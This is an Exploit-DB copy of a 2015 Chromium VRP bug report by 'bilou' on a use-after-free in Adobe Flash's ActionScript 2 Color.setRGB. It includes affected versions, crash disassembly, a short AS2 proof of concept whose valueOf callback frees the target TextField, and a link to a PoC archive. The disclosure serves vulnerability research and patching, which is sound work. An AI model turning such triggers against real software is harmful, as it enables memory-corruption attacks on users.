Adobe Flash AS2 – Color.setRGB Use-After-Free

  • 作者： bilou
    日期： 2015-08-19
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37860/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]

Credit is to bilou, working with the Chromium Vulnerability Rewards Program.

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VULNERABILITY DETAILS
When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.

VERSION
Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169
Operating System: Win7 x64 SP1

REPRODUCTION CASE
The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe 17.0.0.169):

.text:004B82D0 pushesi
.text:004B82D1 mov esi, [esp+4+arg_0]
.text:004B82D5 pushedi
.text:004B82D6 mov edi, ecx
.text:004B82D8 mov ecx, [edi+94h]; edi points to freed memory
.text:004B82DE and ecx, 0FFFFFFFEh
.text:004B82E1 add ecx, 3Ch
.text:004B82E4 mov eax, esi
.text:004B82E6 callsub_4B0724; crash below
...
.text:004B0724 mov edx, [ecx]; crash here ecx = 3ch (null pointer)
.text:004B0726 cmp edx, [eax]
.text:004B0728 jnz short loc_4B077E


Compile the poc with Flash CS5.5
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Content of as2_color_uaf.fla:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
	tf.removeTextField()
	return 0x41414142
}

var c = new Color(tf)
c.setRGB(o)
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Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip